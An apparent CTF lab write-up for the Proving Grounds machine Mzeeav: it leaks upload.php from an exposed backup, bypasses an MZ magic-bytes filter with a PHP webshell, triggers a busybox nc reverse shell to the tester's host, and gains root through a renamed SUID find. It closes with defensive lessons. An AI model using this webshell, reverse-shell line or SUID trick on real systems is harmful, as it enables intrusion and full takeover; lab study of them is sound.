the_open_door
coffee
ESEN

Mzeeav

Proving Grounds PracticeMediumLinux192.168.205.334 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#file-upload#magic-bytes#mz-header#php-webshell#source-code-disclosure#suid#find#gtfobins#oscp
TL;DR. Mzeeav ships an "online antivirus" that only accepts PE executables. A /backups/backup.zip leaks the upload.php source and reveals the filter merely looks for the MZ magic bytes (4D5A) inside the file. We prepend that header to a PHP webshell (magic-bytes bypass), sail past the check and run commands as www-data (file upload to RCE). For root, a custom SUID binary, /opt/fileS, is nothing but a renamed find: its -exec hands us a privileged shell (SUID binary abuse).

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.205.33
64 bytes from 192.168.205.33: icmp_seq=1 ttl=61 time=30.0 ms

The full sweep finds only two ports:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.33
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 192.168.205.33 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-28 20:53 +0000
Nmap scan report for 192.168.205.33 (192.168.205.33)
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds

MZEE-AV - TCP 80#

Port 80 serves MZEE-AV, a supposed antivirus engine inviting you to upload PE files ("Check your PE-files with the online AV engine"). There is an upload form and a message that already hints at the restriction: it only wants Windows executables.

MZEE-AV landing page with ASCII banner, Browse/Upload buttons and the tagline Check your PE-files with the online AV engine

A dirsearch uncovers the interesting paths: the upload directory /upload/, upload.php itself and, above all, a /backups/:


dirsearch -u http://192.168.205.33 -t 200 --exclude-status=404,403,503
[21:37:06] 301 - /backups   ->  http://192.168.205.33/backups/
[21:37:06] 200 - /backups/
[21:37:22] 301 - /upload    ->  http://192.168.205.33/upload/
[21:37:22] 200 - /upload.php
[21:37:22] 200 - /upload/

Source-code leak#

/backups/ has directory listing enabled and exposes a backup.zip:

Index of /backups with backup.zip available for download

Unzipping it reveals the application tree, including the upload logic source:


wget http://192.168.205.33/backups/backup.zip &>/dev/null

unzip backup.zip
Archive:  backup.zip
   creating: var/www/html/
   creating: var/www/html/upload/
  inflating: var/www/html/upload/wget.exe
  inflating: var/www/html/upload/whoami.exe
 extracting: var/www/html/upload/index.html
  inflating: var/www/html/listing.php
  inflating: var/www/html/upload.php
  inflating: var/www/html/index.html

Reading upload.php is the key. The script saves the file, reads its first two bytes and checks that, in hex, they contain 4D5A (the MZ magic bytes of every PE executable). If missing, it rejects the upload:


cat var/www/html/upload.php
<?php

/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];

/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;


/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);



/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));

/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
    echo "Error no valid PEFILE\n";
    error_log(print_r("No valid PEFILE", TRUE));
    error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
    exit ();
}

...

The damning detail is the check uses strpos($magicbytes, '4D5A') === false: it only requires the MZ string to be present at the start, without validating the real type or the extension. A .php starting with MZ passes the filter.

Exploitation#

Filter bypass with an MZ header#

We craft a webshell that begins with the MZ magic bytes (4D 5A ...) followed by the PHP. The sequence 4D 5A 4E 47 0D 0A 1A 0A leaves the first two bytes as MZ (satisfies the filter) and the <?php ...> runs regardless, because PHP processes its tags wherever they are (magic-bytes bypass):


echo '4D 5A 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.php
xxd shell.php
00000000: 4d5a 4e47 0d0a 1a0a 3c3f 7068 7020 7379  MZNG....<?php sy
00000010: 7374 656d 2824 5f52 4551 5545 5354 5b63  stem($_REQUEST[c
00000020: 6d64 5d29 3b20 3f3e 0a                    md]); ?>.

We upload shell.php through the form, selecting it in the Browse field:

MZEE-AV form with shell.php selected in Browse, ready to upload

listing.php accepts it and even flags it as "clean", confirming the filter deemed it valid:

listing.php lists four checked files (index.html, shell.php, wget.exe and whoami.exe), each with its MD5 and the seems to be clean tag

List checked files:

index.html - MD5: 01238cd7fc4a9f3c01dc6b51dbbce222 - seems to be clean!
shell.php - MD5: f968c840b8fc4f10a91a7c75d5511c10 - seems to be clean!
wget.exe - MD5: 41db24a16304419f48e79c1c878694ad - seems to be clean!
whoami.exe - MD5: e4f1b4e581fb998977d4c9c9080d35f6 - seems to be clean!

And it hands back something we never asked for: the other three files are exactly the ones that came out of backup.zip, so the backup was not an old copy but the live directory.

The webshell lands in /upload/shell.php. Through the cmd parameter we fire a reverse shell (file upload to RCE):

Before triggering the shell, we leave Penelope listening on 22:


penelope
(Penelope)> listeners add -p 22

Then we request the webshell with the reverse shell command in the cmd parameter: http://192.168.205.33/upload/shell.php?cmd=busybox nc 192.168.45.232 22 -e bash

[+] Got reverse shell from mzeeav~192.168.205.33-Linux-x86_64 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@mzeeav:/var/www/html/upload$ whoami
www-data

The shell runs as www-data.

Local#


cat local.txt && whoami && ip a && hostname
fbe7d4abc36a4942eaac58f492b20f0c
www-data
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:5f:3c brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.205.33/24 brd 192.168.205.255 scope global ens192
       valid_lft forever preferred_lft forever
mzeeav

Privilege escalation#

SUID /opt/fileS: a find in disguise#

We hunt for SUID binaries and one stands out, /opt/fileS. Running it bare lists the current directory's contents, exactly like find would, which already gives its nature away:


find / -perm -4000 2>/dev/null
/opt/fileS
/usr/bin/sudo
/usr/bin/su
...

Running it with -help confirms it: the help mentions -exec, -execdir, -fprint, -prune... and points to the GNU findutils documentation. /opt/fileS is not a custom binary, it is a renamed find with the SUID bit set. find is in GTFOBins: its -exec parameter runs commands with the privileges of the binary owner, here root. We ask it to set SUID on /bin/bash and open a shell that keeps root's effective UID (SUID binary abuse):


/opt/fileS -help | tail -n 15
/opt/fileS -exec chmod u+s /bin/bash \;
ls -l /bin/bash
bash -p
whoami
bash-5.1$ /opt/fileS -help | tail -n 15

actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print
      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Valid arguments for -D:
exec, opt, rates, search, stat, time, tree, all, help
Use '-D help' for a description of the options, or see find(1)

Please see also the documentation at http://www.gnu.org/software/findutils/.
You can report (and track progress on fixing) bugs in the "/opt/fileS"
program via the GNU findutils bug-reporting page at
https://savannah.gnu.org/bugs/?group=findutils or, if
you have no web access, by sending email to <bug-findutils@gnu.org>.
bash-5.1$ /opt/fileS -exec chmod u+s /bin/bash \;
bash-5.1$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
bash-5.1$ bash -p
bash-5.1# whoami
root
bash-5.1#

Root#


cat /root/proof.txt && whoami && ip a && hostname
479093c96c2c236e1b694be6ee7100ed
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:5f:3c brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.205.33/24 brd 192.168.205.255 scope global ens192
       valid_lft forever preferred_lft forever
mzeeav

Attack chain#

HTTP (80)  --  MZEE-AV, magic-bytes upload filter
        │  /backups/backup.zip leaks upload.php (only requires "MZ"/4D5A)
        │  webshell with MZ header -> /upload/shell.php?cmd=
        ▼
www-data  (local.txt)
        │  SUID /opt/fileS = renamed find -> -exec chmod u+s /bin/bash
        ▼
root  (proof.txt)

Lessons learned#

  • Validating by magic bytes does not validate the type. Checking a file starts with MZ does not stop it being executable PHP: the interpreter runs <?php tags wherever they sit. The real defense is not to serve the upload directory as PHP, to force safe extensions and to store outside the webroot.
  • Never leave backups in the webroot. The reachable /backups/backup.zip handed over the source and, with it, the exact filter logic. An open directory listing served it on a plate.
  • Renaming a binary does not change what it does. /opt/fileS was still find; the SUID bit on it is the GTFOBins find. Custom SUID binaries deserve the same audit as system ones.
Command cheatsheet 8 commands

Quick review